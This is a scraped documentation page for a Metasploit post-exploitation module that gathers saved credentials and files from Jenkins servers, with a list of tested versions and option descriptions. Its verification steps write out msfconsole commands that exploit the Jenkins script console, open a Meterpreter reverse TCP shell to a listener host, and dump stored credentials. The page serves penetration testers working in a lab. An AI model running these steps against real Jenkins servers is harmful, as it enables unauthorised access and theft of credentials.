Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/post/multi/gather/jenkins_gather.md
Views: 11789
Vulnerable Application
Official Source: Jenkins
This module has been verified against:
Jenkins 2.67 on Ubuntu 16.04 in Docker
Jenkins 2.67 on Windows 7 SP 1
Jenkins 2.60.1
Jenkins 2.411 Docker image
Jenkins 2.410 Windows 10
Jenkins 2.410 Docker image
Jenkins 2.409 Docker image
Jenkins 2.401.1 Docker image
Jenkins 2.346.3 Docker image
Jenkins 2.103 Docker image
Jenkins 1.565 Docker image
Jenkins 1.56
Verification Steps
Set up Jenkins to obtain a shell (use Docker for quick setup)
Run
docker run -p 8080:8080 -p 50000:50000 jenkins
Use the default setup and install "suggested plugins"
Create new user admin, add a user or credential (via Manage Jenkins)
Start msfconsole
We'll use the
jenkins_script_console
module to quickly gain a shellDo:
use exploit/multi/http/jenkins_script_console
Do:
set RHOST 172.17.0.1
Do:
set RPORT 8080
Do:
set TARGETURI /
Do:
set USERNAME admin
Do:
set PASSWORD or set API_TOKEN
Do:
set TARGET 1
Do:
set PAYLOAD linux/x86/meterpreter/reverse_tcp
Do:
set LHOST 192.168.56.105
Do:
exploit -j
Do:
use post/multi/gather/jenkins_gather
Do:
set SESSION 1
Do:
run
You should see the saved credentials output
Options
SEARCH_JOBS
This option searches through the jobs
folder for interesting keywords but obviously increases runtime on larger instances.
STORE_LOOT
This option saves interesting files and loot to disk. If set to false will simply output data to console.
JENKINS_HOME This option can be set if we want to specify where the Jenkins data resides.
Scenarios
Jenkins on Windows
Jenkins 2.67 on Ubuntu 16.04